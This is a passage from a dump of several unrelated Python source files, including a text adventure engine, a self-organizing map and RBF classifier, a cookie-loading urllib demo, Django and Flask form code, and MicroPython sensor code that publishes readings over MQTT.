RoomCluster):\n raise self.INVALIDOBJECT('Please pass an object of the RoomCluster class!')\n \n for row in self.startMap.map_:\n try:\n self.currentX = row.index(self.startRoom) # Finds the x position by looking at each row in self.startMap, and trying to find the self.startRoom. \n self.currentY = self.startMap.map_.index(row) # Finds the y position by looking for the specific row in the self.startMap. \n break\n \n except(ValueError):\n pass\n \n print(self.getAndUpdateIndexes(self.startMap, self.startRoom))\n \n self.searchables = searchables\n self.allowBack = allowBack\n self.globalUnknown = '!'\n self.globalKnowns = ['l', 'r', 'f', 'b']\n \n self.movesMade = 0\n \n self.defaultDirections = self.generateDirections()\n self.cardinalDirections = self.generateCardinalDirections()\n \n if type(defaultDirections) == dict:\n self.defaultDirections = defaultDirections # Updates the directions that are available with the given, custom directions.\n \n def getAndUpdateIndexes(self, map__, room):\n mapp = map__.map_ # Ew, gross. But this basically takes the cluster object, takes its map attribute and makes it a variable. Don't be afraid!\n \n for row in mapp:\n try:\n self.currentX = row.index(room) # Finds the x position by looking at each row in self.startMap, and trying to find the self.startRoom. \n self.currentY = mapp.index(row) # Finds the y position by looking for the specific row in the self.startMap. \n break\n except(ValueError):\n pass\n \n return self.currentX, self.currentY\n \n def generateDirections(self, f='f', l='l', r='r', b='b'):\n \n return {\n 'forward' : f,\n 'straight' : f,\n 'onward' : f,\n 'right' : r,\n 'left' : l, \n 'back' : b, \n 'reverse' : b\n }\n \n def generateCardinalDirections(self):\n # Lol working on it\n return {}\n \n def interpretDirection(self, entry):\n # Strip and normalize the entry\n normalizedEntry = (str(entry).strip()).lower()\n \n try:\n return self.defaultDirections[normalizedEntry]\n \n except(KeyError): # If it is not in the default directions, check the cardinal.\n try:\n return self.cardinalDirections[normalizedEntry]\n \n except(KeyError):\n return self.globalUnknown # If it is not in the cardinal either, return the universal unknown.\n \n \n def move(self, rawEntry):\n # Check for valid directions\n \n directions = self.currentRoomObj.dirString\n \n for char in str(directions.lower()).strip():\n if char not in self.globalKnowns:\n raise self.INVALIDDIRECTIONSTRING('Invalid character in string. Please refer to the global characters.') # Raise a custom, invalid direction string error\n \n normalizedEntry = self.interpretDirection(rawEntry)\n \n if normalizedEntry is self.globalUnknown:\n return 2\n \n elif (normalizedEntry not in directions):\n return 3\n \n elif normalizedEntry in directions:\n res, newRoom = self.moveIfPossible(normalizedEntry)\n if res and (newRoom is not None and newRoom is not False): # checks for a successful exit and a non-pseudo newRoom object.\n self.movesMade += 1\n newRoom.enterRoom()\n \n \n def moveIfPossible(self, entry, move=True):\n \n entryToMethod = {'f' : 'forward',\n 'l' : 'left', \n 'r' : 'right',\n 'b' : 'back'\n }\n \n # Interpret the entry so we can use it with the previous move. \n \n newMove = entryToMethod[entry]\n \n # Determine directions based off of which way we're facing. \n \n if self.lastMove == 'l':\n \n \n self.moveRelations = {'right' : 'f',\n 'left' : 'b',\n 'forward' : 'l',\n 'back' : 'b'\n }\n \n elif self.lastMove == 'r':\n \n self.moveRelations = {'right' : 'b',\n 'left' : 'f',\n 'forward' : 'r',\n 'back' : 'l'\n }\n \n elif self.lastMove == 'b':\n \n self.moveRelations = {'right' : 'l',\n 'left' : 'r',\n 'forward' : 'b',\n 'back' : 'f'\n }\n \n else:\n self.moveRelations = {'right' : 'r',\n 'left' : 'l',\n 'forward' : 'f',\n 'back' : 'b'\n }\n \n realDirection = self.moveRelations[newMove]\n \n \n x, y = self.getAndUpdateIndexes(self.currentMap, self.currentRoomObj) # Remember, currentMap is actually an object! Call the property map_!\n\n if realDirection == 'l':\n \n try: \n \n possible = (self.currentMap.map_[y][x - 1]).name\n if not move:\n return True # If you just wanted to see if it's possible, end now!\n self.currentRoom = (self.currentMap.map_[y][x - 1]).name\n self.currentRoomObj = (self.currentMap.map_[y][x - 1])\n \n newX, newY = self.getAndUpdateIndexes(self.currentMap, self.currentRoomObj)\n \n except(KeyError):\n return False\n \n elif realDirection == 'r':\n \n try: \n \n possible = (self.currentMap.map_[y][x + 1]).name\n if not move:\n return True # If you just wanted to see if it's possible, end now!\n self.currentRoom = (self.currentMap.map_[y][x + 1]).name\n self.currentRoomObj = (self.currentMap.map_[y][x + 1])\n \n newX, newY = self.getAndUpdateIndexes(self.currentMap, self.currentRoomObj)\n \n except(KeyError):\n return False\n \n elif realDirection == 'b':\n \n try: \n \n possible = (self.currentMap.map_[y + 1][x]).name\n if not move:\n return True # If you just wanted to see if it's possible, end now!\n self.currentRoom = (self.currentMap.map_[y + 1][x]).name\n self.currentRoomObj = (self.currentMap.map_[y + 1][x])\n \n newX, newY = self.getAndUpdateIndexes(self.currentMap, self.currentRoomObj)\n \n except(KeyError):\n return False\n \n elif realDirection == 'f':\n \n try: \n \n possible = (self.currentMap.map_[y - 1][x]).name\n if not move:\n return True # If you just wanted to see if it's possible, end now!\n self.currentRoom = (self.currentMap.map_[y - 1][x]).name\n self.currentRoomObj = (self.currentMap.map_[y - 1][x])\n \n newX, newY = self.getAndUpdateIndexes(self.currentMap, self.currentRoomObj) \n \n except(KeyError):\n return False\n \n # Updates the last move after a successful move. \n \n self.lastMove = realDirection\n \n return True, (self.currentMap.map_[newY][newX]) # returns true because it was successful and the new room object\n \n def fight(self, enemies: list, range_=None, playerAttacksFirst=True):\n \n for enemy in enemies:\n if not isinstance(enemy, NewEnemy):\n raise self.INVALIDOBJECT('Please make sure all enemies in the list are instances of the NewEnemy class.')\n \n self.player.beginFight(playerAttacksFirst, range_)\n \n if playerAttacksFirst:\n self.player.focusOnEnemy(enemies)\n \n else:\n pass\n \n \n def updateLastMove(self, dir_):\n self.lastMove = dir_\n \n def displayInventory(self):\n self.inventoryManager.displayInventory()\n\ndef fp(text):\n print('\\n' + str(text))\n \nroom1 = Room('Room One', 'fr', 'Welcome to Room 1')\nroom2 = Room('Room Two', 'lf', 'Welcome to Room 2', 'l', actionText='Would you like to loot the room?')\nroom3 = Room('Room Three', 'f', 'Welcome to Room 3!')\n\nmap1 = [[room1, room2],\n [0, room3]] \n\nroom1Loot = LootRoom('Ammo', room2, 'You find and open an ammo crate!', 10, lootOnEnter=True)\n\nenemyType1 = EnemyType('pseudoid', 5, damageWithClose=2, skillLevel=25, pointsPerKill=15)\n\nenemy1 = NewEnemy('pseudoid')\n\nenemy2 = NewEnemy('pseudoid')\n\nprint(enemy1.counterClose())\n\ncluster1 = RoomCluster(map1)\n\nobj = TextAdventureGameEngine(room3, cluster1)\n\nobj.fight([enemy1, enemy2], True)\n","sub_path":"PythonFiles/TextAdventureEngine/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":11165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400924083","text":"\"\"\" Implementation of SOM\r\nby Diardano Raihan \"\"\"\r\n\r\n# Import the library\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# =============================================================================\r\n\" ------------------------- STEP 0 - DEFINING FUNCTIONS ----------------------\"\r\n\r\n# Defining the eculidian distance between two vectors\r\ndef euc_dist(v1, v2):\r\n dist = np.linalg.norm(v1 - v2) \r\n return dist\r\n\r\n# Function closest_node() returns the row and column indices in the SOM with \r\n# size m_rows x m_cols that are the coordinates of the map cell whose vector is \r\n# closest to the data item at data[t]. \r\n# The cell vector that's closest to a specified data item is called \r\n# the best matching unit (BMU) in SOM terminology.\r\n\r\ndef closest_node(data, n, map, m_rows, m_cols):\r\n list_bmu = []\r\n for i in range(m_rows):\r\n for j in range(m_cols):\r\n dist = euc_dist(map[i][j], data[n])\r\n list_bmu.append(((i,j),dist))\r\n list_bmu = sorted(list_bmu, key=lambda distance:distance[1])\r\n return list_bmu[0][0]\r\n# (row,col) of map node closest to data[n]\r\n# - data is argument for our training set, that is \"X_train\"\r\n# - n is the number of our training data, that is 330\r\n# - map is our weight matrix or nodes matrix (centroids) with each node is an \r\n# associated vector of weights. This vector of weights is nothing more than \r\n# the current vector of feature values for the centroid, that is \"map\"\r\n\r\n#def nyoba(m_rows = 4, m_cols = 5):\r\n# list_bmu = []\r\n# for i in range(m_rows):\r\n# for j in range(m_cols):\r\n# dist = (i+j)*np.random.randint(100)\r\n# list_bmu.append(((i,j),dist))\r\n# return sorted(list_bmu, key=lambda distance:distance[1]), list_bmu[0][0]\r\n# key = lambda x:x[specific index] inside sorted function means we want to \r\n# sort the list value or any object value based on that specific index lays \r\n# inside that object. In this case, for example, we want to sort the values\r\n# list_bmu based on \"dist\". Since \"dist\" is located in the index 1 in the\r\n# nested list, so we define x:x[1] as a dummy function of lambda (or any abitrary\r\n# name)\r\n\r\ndef calc_sigma(data, centroid):\r\n sigma = np.zeros(shape=20, dtype=float)\r\n # Initiate an empty list for containing the distance between the centroids\r\n # to the corresponding neuron (centroid)\r\n dist_group = [[]]\r\n for i in range(19):\r\n dist_group.append([])\r\n \r\n for i in range(len(data)):\r\n # Initiate an empty list for containing the bmu candidates\r\n list_bmu = []\r\n for j in range(len(centroid)):\r\n dist = euc_dist(data[i], centroid[j])\r\n list_bmu.append(((j),dist))\r\n list_bmu = sorted(list_bmu, key=lambda distance:distance[1])\r\n \r\n for n in range(len(centroid)):\r\n if n == list_bmu[0][0]:\r\n dist_group[n].append(list_bmu[0][1])\r\n \r\n df_dist = pd.DataFrame(dist_group)\r\n \r\n for i in range(len(centroid)):\r\n sigma[i] = df_dist.astype(\"float\").mean(axis=1).iloc[i]\r\n return sigma\r\n\r\n# The learning rate should be time-varying. It should start at an initial value\r\n # and then decrease gradually with the increase of iteration number \r\ndef curr_rate(n):\r\n return learning_rate0 * np.exp(-float(n) / tao)\r\n\r\n# The value of sigma, the width parameter of Gaussian function will decay\r\n# exponentially in each of iteration.\r\ndef curr_sigma(n):\r\n return float(sigma0) * np.exp(-float(n) / tao)\r\n\r\n# Gaussian Function for topological neighborhood\r\ndef gauss_neighbor(v1, v2, sigma):\r\n numerator = euc_dist(v1,v2)**2\r\n denominator = 2*sigma*sigma\r\n result = np.exp(-numerator/denominator)\r\n return result\r\n\r\n# Function most_common() returns the most common value from a list of integer \r\n# values. For example, if a list held values [0, 2, 2, 1, 0, 1, 1, 2, 1] then \r\n# most_common() returns 1.\r\ndef most_common(list, n):\r\n if len(list) == 0: return -1 # lst is a list of values 0 . . n\r\n count = np.zeros(shape=n, dtype=np.int)\r\n for i in range(len(list)):\r\n if list[i] == 1:\r\n count[0] += 1\r\n elif list[i] == -1:\r\n count[1] += 1\r\n if count[0] > count[1]:\r\n mc = 1\r\n elif count[1] > count[0]:\r\n mc = -1\r\n return mc\r\n# =============================================================================\r\n\r\n# =============================================================================\r\n\" ------------------------- STEP 1 - DATA PREPROCESSING ----------------------\"\r\n\r\n# Importing the data set and splitting it into training set and test set\r\nfrom scipy.io import loadmat\r\ndf_train = loadmat(\"data_train.mat\")\r\ndf_test = loadmat(\"data_test.mat\")\r\ndf_label = loadmat(\"label_train.mat\")\r\nX_train = df_train['data_train']\r\nX_test = df_test['data_test']\r\ny_train = df_label['label_train']\r\n \r\n# Feature Scaling - Normalize so that all the values are bounded between 0 - 1 \r\nfrom sklearn.preprocessing import MinMaxScaler\r\nsc = MinMaxScaler(feature_range=(0,1))\r\nX_train = sc.fit_transform(X_train)\r\nX_test = sc.fit_transform(X_test)\r\n\r\n# =============================================================================\r\n\r\n# =============================================================================\r\n\" ------------------------- STEP 2 - SOM INITIALIZATION ----------------------\"\r\n\r\n# number of iteration for training the SOM\r\nnb_iteration_max = 1000 # Iteration during Self-Organizing Phase\r\nnb_iteration = 11000 # Iteration during Self-Organizing + Convergence phase\r\n\r\n# The time constant to update the learning rate and sigma as the both values \r\n# will be decreasing at each iteration\r\ntao = 1000\r\n\r\n# The learning rate specifies to what degree the nodes generally adapt\r\n# to a given input vector. \r\n# It is found experimentally that the starting learning rate value should\r\n# begin with a value close to 0.1 \r\nlearning_rate0 = 0.1 \r\n\r\n# The value for learning rate in the steady state\r\nlearning_rate_ss = 0.01\r\n\r\n# The value of sigma (the radius of two dimensional lattice) is determined by \r\n# the fact that we will create 20 neurons in the kohonen layers (The hidden \r\n# layer inside the RBF Neural Network). The possible dimension of the grid \r\n# (matrix) is 5 x 4. So, we can calculate the distance from neuron (0,0) to \r\n# neuron (4,3) as the diameter using Euclidian formula. \r\n# The radius is simply the diameter divided by two. \r\n# The neighborhood radius determines to what degree neighborhood nodes adapt \r\n# depending on their distance to the winning node.\r\nsigma0 = 2.5\r\nsigma_ss = 1\r\n\r\n\r\nmatrix_column = 5\r\nmatrix_row = 4\r\n\r\n# =============================================================================\r\n\r\n# =============================================================================\r\n\" ------------------------- STEP 3 - CONSTRUCTING SOM ------------------------\"\r\n\r\n# Short Summary of Updating the Weights\r\n# create n x n map with random node vector values\r\n# loop while s < StepsMax times\r\n# compute what a \"close\" node means, based on s\r\n# compute a learn rate, based on s\r\n# pick a random data item\r\n# determine the map node closest to data item (BMU)\r\n# for-each node close to the BMU\r\n# adjust node vector values towards data item\r\n# end-loop\r\n\r\n# # Constructing a 5 x 4 SOM (20 neurons or Centroids)\r\nmap = np.random.random_sample(size = (matrix_row, matrix_column, X_train.shape[1]))\r\n# The call to random_sample() generates a 5 x 4 matrix where each cell is a \r\n# vector of size 33 (Weight vectors will have the same dimension with the input\r\n# vectors) with random values between 0.0 and 1.0.\r\n\r\n# Looping for updating the weights\r\nfor iterate in range(nb_iteration):\r\n pct = ((iterate+1)/11000)*100\r\n\r\n # Finding the winning neuron for each iteration\r\n n = np.random.randint(len(X_train))\r\n (bmu_row, bmu_column) = closest_node(X_train, n, map, matrix_row, matrix_column)\r\n \r\n # The First Phase of SOM NN Training Process: Self-organizing Phase\r\n if iterate < nb_iteration_max: \r\n print(\"Iteration =\",iterate+1, \"<--- Self-Organizing Phase --->\", \"%.2f\" % pct, \"%\")\r\n learning_rate = curr_rate(iterate)\r\n sigma = curr_sigma(iterate)\r\n for i in range(matrix_row):\r\n for j in range(matrix_column):\r\n gauss = gauss_neighbor(np.array([bmu_row, bmu_column]), np.array([i,j]), sigma)\r\n map[i][j] = map[i][j] + learning_rate*gauss*(X_train[n]-map[i][j])\r\n \r\n # The Second Phase of SOM NN Training Process: Convergence Phase\r\n else:\r\n print(\"Iteration =\",iterate+1, \"<--- Convergence Phase --->\", \"%.2f\" % pct, \"%\")\r\n learning_rate = learning_rate_ss\r\n for i in range(matrix_row):\r\n for j in range(matrix_column):\r\n if (i == bmu_row) and (j == bmu_column):\r\n gauss = 1\r\n map[i][j] = map[i][j] + learning_rate*gauss*(X_train[n]-map[i][j])\r\n else:\r\n map[i][j] = map[i][j]\r\n \r\nprint(\"\\n<- Congratulations! The SOM contruction is complete ->\")\r\n\r\n# At this point in the demo, the SOM has been created. Each of the 5 x 4 vectors\r\n# holds a value that corresponds to one or more data items.\r\n# The U-Matrix is created from SOM where initially, each 30 x 30 cell of the \r\n# U-Matrix holds a 0.0 value.\r\nu_matrix = np.zeros(shape=(matrix_row, matrix_column), dtype = np.float64)\r\n\r\n# Next, each cell in the U-Matrix is processed.\r\n# it represents the \"distance\" between neighbors in the lattice.\r\n# The value v is the vector in the SOM that corresponds to the current U-Matrix \r\n# cell. Each adjacent cell in the SOM (above, below, left, right) is processed \r\n# and the sum of the Euclidean distances is computed.\r\nfor i in range(matrix_row):\r\n for j in range(matrix_column):\r\n v = map[i][j]\r\n sum_dist = 0.0; count = 0\r\n if i-1 >=0:\r\n sum_dist += euc_dist(v, map[i-1][j]); count+=1 \r\n if i+1 <= matrix_row-1:\r\n sum_dist += euc_dist(v, map[i+1][j]); count+=1\r\n if j-1 >=0:\r\n sum_dist += euc_dist(v, map[i][j-1]); count+=1\r\n if j+1 <= matrix_column-1:\r\n sum_dist += euc_dist(v, map[i][j+1]); count+=1\r\n u_matrix[i][j] = sum_dist/count\r\n# For example, suppose some cell in the SOM holds (2.0, 1.0, 1.5, 0.7) and \r\n# the Euclidean distances to the four neighbor cells are 7.0, 12.5, 11.5, 5.0, \r\n# then the corresponding cell in the U-Matrix holds 36.0 before averaging and \r\n# then 9.0 after averaging.\r\n\r\n# A small value in a U-Matrix cell indicates that the corresponding cell \r\n# in the SOM is very close to its neighbors and therefore the neighboring \r\n# cells are part of a similar group\r\n\r\n# The U-matrix is displayed using the Matplotlib library\r\nplt.imshow(u_matrix, cmap='gray') # black = close clusters\r\nplt.show()\r\nplt.title('The SOM - Unified Distance Matrix\\n A 5 x 4 Matrix Representing the Number of Centroids (Neurons) in the Hidden Layer (20) for \\n the RBF Neural Network\\n')\r\n \r\n# =============================================================================\r\n \r\n# =============================================================================\r\n\" ---------------- STEP 4 - CONSTRUCTING RBF NEURAL NETWORK ----------------- \"\r\n\" -------------------------- THE WEIGHT ESTIMATION -------------------------- \"\r\n\r\n# Converting the map matrix containing the centroids into hidden layer for 20\r\n# neurons\r\nneuron = map.reshape(20, map.shape[2])\r\n\r\n# Determine the width for each neuron (centroid)\r\n# Sigma is calculated by taking average of the distance between all points in\r\n# the cluster and the cluster (centroids) it self.\r\nsigma = calc_sigma(X_train, neuron)\r\n\r\n# Calculating the output for each of the 20 neurons in the hidden layer from\r\n# the input layer and creating the output matrix\r\noutput = np.zeros(shape=(len(X_train),len(neuron)), dtype=float)\r\nfor i in range(len(X_train)):\r\n for j in range(len(neuron)): \r\n output[i][j] = gauss_neighbor(X_train[i], neuron[j],sigma[j])\r\n\r\n# Calculate our weight estimation using Least Square Method\r\nW = np.zeros(shape=(20,1), dtype=float)\r\ntemp1 = np.dot(output.T,output)\r\ntemp2 = np.linalg.inv(temp1)\r\ntemp3 = np.dot(output.T,y_train)\r\nW = np.dot(temp2,temp3) \r\n\r\n\" ---------------- CLASSIFICATION ACCURACY OF THE TRAINING DATA --------------\"\r\n\r\ny_predict = np.zeros(shape=(len(X_train)), dtype=float)\r\ny_predict = np.dot(output,W)\r\nfor i in range(len(y_predict)):\r\n if y_predict[i] <0:\r\n y_predict[i]=-1\r\n else:\r\n y_predict[i]=1\r\n \r\n# Making the Confusion Matrix\r\n# The confusion matrix will contain the correction prediction that our model \r\n# made on the Test set as well as the incorrect predictions. \r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(y_train, y_predict)\r\n# Compute confusion matrix to evaluate the accuracy of a classification\r\n# By definition a confusion matrix 'C' is such that C(ixj) is equal to the \r\n# number of observations known to be in group i but predicted to be in group j.\r\n# In our case, 'cm' is 2x2 matrix, which is shown like this:\r\n\r\n# Predicted(No) Predicted(Yes)\r\n# Actual (No) 108 8 \r\n# Actual (Yes) 10 204\r\n\r\n# We can see that 108 + 204 = 312 are the correct predictions, and 8+10 = 18 are\r\n# the incorrect predictions, among 330 observations from the test set. We can \r\n# see that we have quite a lot of correct predictions which is good, which is\r\n# 94.54%\r\n# =============================================================================\r\n\r\n# =============================================================================\r\n\" ------------- STEP 5 - PREDICTING THE LABEL FOR TESTING DATA --------------\"\r\n\r\n# Input the Test set to the RBF Network\r\n\r\n# Calculate the output matrix\r\noutput_test = np.zeros(shape=(len(X_test),len(neuron)), dtype=float)\r\nfor i in range(len(X_test)):\r\n for j in range(len(neuron)): \r\n output_test[i][j] = gauss_neighbor(X_test[i], neuron[j],sigma[j])\r\n\r\n# Predict the label for the test set\r\ny_test = np.zeros(shape=(len(X_test)), dtype=float)\r\ny_test = np.dot(output_test,W)\r\nfor i in range(len(y_test)):\r\n if y_test[i] <0:\r\n y_test[i]=-1\r\n else:\r\n y_test[i]=1\r\n# =============================================================================\r\n\r\n","sub_path":"diar_som.py","file_name":"diar_som.py","file_ext":"py","file_size_in_byte":14463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"194951380","text":"# -*- coding: utf-8 -*-\n\nimport urllib.request\nimport http.cookiejar\n\n#cookie文件\nfilename=\"cookie.txt\"\n#创建MozillaCookieJar实例对象\ncookie = http.cookiejar.MozillaCookieJar()\n#从文件中读取cookie内容到变量\ncookie.load(filename, ignore_discard=True, ignore_expires=True)\n#创建请求的request\nreq = urllib.request.Request(\"http://www.baidu.com\")\n#利用urllib库的HTTPCookieProcessor对象来创建cookie处理器\nhandler=urllib.request.HTTPCookieProcessor(cookie)\n#利用urllib的build_opener方法创建一个opener\nopener = urllib.request.build_opener(handler)\nresponse = opener.open(req)\nprint (response.read())","sub_path":"cookise/demo_cookies2.py","file_name":"demo_cookies2.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323003673","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .forms import UserForm\n\ndef home(request):\n if request.method == 'POST':\n form = UserForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponse(\"User was created successfully.\")\n else:\n return HttpResponse(\"There was an error.\")\n else:\n form = UserForm()\n\n return render (request, 'one_to_one_sample/home.html', {'form': form})\n","sub_path":"user_models_oneToOne/one_to_one_sample/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"414496627","text":"import datetime\nfrom flask_wtf import FlaskForm\nfrom wtforms import IntegerField, SelectField, SelectMultipleField, StringField, SubmitField\nfrom wtforms.fields.html5 import DateField\nfrom wtforms.validators import DataRequired, Length,Optional, ValidationError\nfrom app.models import Instrument, Style\n\nclass AddInstrumentForm(FlaskForm):\n \"\"\"Form used to add a new instrument, long with validators used to check\n data.\"\"\"\n name = StringField('Instrument name', validators=[DataRequired(), Length(max=32)])\n info = StringField('Info', validators=[Length(max=200)])\n range = StringField('Range', validators=[Length(max=100)])\n image = StringField('Image', validators=[Length(max=100)])\n submit = SubmitField('Submit')\n\n def validate_name(self, name):\n name_query = Instrument.query.filter_by(name=name.data).first()\n if name_query is not None:\n raise ValidationError(\"This instrument already exists.\")\n\nclass AddStyleForm(FlaskForm):\n \"\"\"Form used to add a new style, along with validators used to check\n data.\"\"\"\n style = StringField('Style name', validators=[DataRequired(), Length(max=32)])\n description = StringField('Description', validators=[Length(max=200)])\n submit = SubmitField('Submit')\n\n def validate_style(self, style):\n # Overload existing validate_style with own validator\n if Style.query.get(style.data) is not None:\n raise ValidationError(\"This style already exists.\")\n\nclass AddOriginalAuthorForm(FlaskForm):\n \"\"\"Form used for the original author of different pieces of music, e.g. if\n a song was arranged by another person later on.\"\"\"\n name = StringField('Name', validators=[Length(max=32)])\n country = StringField('Country', validators=[Length(max=20)])\n dob = DateField('Date of birth', format='%Y-%m-%d', validators=[Optional()])\n submit = SubmitField('Submit')\n\nclass AddMusicForm(FlaskForm):\n \"\"\"Form used to add a new piece of music.\"\"\"\n name = StringField('Music name', validators=[DataRequired(), Length(max=32)])\n year = IntegerField('Year', validators=[Length(max=4)])\n url = StringField('URL-friendly name', validators=[DataRequired(), Length(max=32)])\n sheet_url = StringField('URL of sheet music', validators=[Length(max=32)])\n style = SelectField('Style', coerce=str)\n original_author = SelectField('Original author', coerce=int)\n instruments = SelectMultipleField('Instruments', coerce=int)\n submit = SubmitField('Submit')\n","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125692037","text":"from Widgets import Widgets\nimport pygame\nimport os\nfrom singleton_decorator import singleton\n\n@singleton\nclass Settings:\n\n def __init__(self):\n self.file = None\n self.state = None\n self.saved = None\n self.openFile('settings.conf')\n self.GMT = None\n self.resx = None\n self.resy = None\n self.background = None\n self.backgroundType = None\n\n\n\n def generateSettings(self,resx: int, resy: int, backgroundType:bool,\n background,GMT: bool, fontforPlayer: str,fontfortime:str):\n st = \"settings:[\\n\\tresolution_x:{};\\n\\tresolution_y:{};\\n\\tbackground:\".format(resx,resy)\n if backgroundType:\n r = background[0]\n g = background[1]\n b = background[2]\n st += \"rgb({},{},{});\\n\\tGMT:{};\\n\\tplayerfont:\".format(r,g,b,int(GMT))\n else:\n st += \"img(\\'{}\\');\\n\\tGMT:{};\\n\\tplayerfont:\".format(background,int(GMT))\n if fontforPlayer is \"\":\n st += \"NULL;\\n\\tfontfortime:\"\n else:\n st += \"{};\\n\\tfontfortime:\".format(fontforPlayer)\n if fontfortime is \"\":\n st += \"NULL:\\n]\"\n else:\n st += \"{};\\n]\".format(fontfortime)\n\n self.file.write(st)\n self.file.close()\n self.file = open('settings.conf','r+')\n self.state = 0\n\n def getSettings(self):\n self.saved = self.file.read()\n\n\n def openFile(self,location: str):\n try:\n self.file = open(location,'x')\n self.state = 0\n except FileExistsError:\n self.file = open(location,'r+')\n self.state = 1\n vinfo = pygame.display.Info()\n self.generateSettings(vinfo.current_w,vinfo.current_h,True,(64,64,255),True,'CooperHewitt-Light.otf','CooperHewitt-Medium.otf')\n","sub_path":"Settings.py","file_name":"Settings.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277651124","text":"\"\"\" since we're controlling the voltage to\n the sensors, we need to set it high before\n reading. We also need to initialize the pins\n to control the multiplexer \"\"\"\ndef init_pins(Pin, VCC_PIN, MUX_PIN1, MUX_PIN2):\n\n v_out = Pin(VCC_PIN, Pin.OUT)\n mux1 = Pin(MUX_PIN1, Pin.OUT)\n mux2 = Pin(MUX_PIN2, Pin.OUT)\n\n v_out(1)\n mux1(0)\n mux2(0)\n return mux1, mux2\n\n\ndef read_sensors(mux1, mux2, mcp, dht, fc28):\n\n measurements = [0, 0, 0, 0, 0]\n\n # 1st moisture sensor\n mux1(0)\n mux2(0)\n measurements[0] = fc28.read()\n\n # 2nd moisture sensor\n mux1(1)\n measurements[1] = fc28.read()\n \n # 3rd moisture sensor\n mux1(0)\n mux2(1)\n measurements[2] = fc28.read()\n\n dht.measure()\n measurements[3] = dht.humidity()\n\n # take the mean temperature of the two readings.\n # not really interested in the decimals\n measurements[4] = int((dht.temperature() + mcp.get_temp()) / 2)\n\n return measurements\n\n\ndef publish(client_id, server, result):\n\n from umqtt.simple import MQTTClient\n import time\n\n # unpack the result \n basil, thyme, oregano, humidity, temp = result\n\n # connect to the MQTT-broker and publish the messages\n client = MQTTClient(client_id, server)\n client.connect()\n\n # data format is JSON\n client.publish('sensors/plants', \n '{\"basil\":\"%s\", \"thyme\":\"%s\", \"oregano\":\"%s\"}' \\\n % (basil, thyme, oregano) )\n client.publish('sensors/weather', \n '{\"temperature\":\"%s\", \"humidity\":\"%s\"}' \\\n % (temp, humidity) )\n \n\ndef go_sleep(sleep_ms):\n import machine \n\n rtc = machine.RTC()\n # set alarm for wakeup\n rtc.irq(trigger=rtc.ALARM0, wake=machine.DEEPSLEEP) \n rtc.alarm(rtc.ALARM0, sleep_ms)\n\n # go sleep\n machine.deepsleep()\n","sub_path":"src/sensor-node/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"}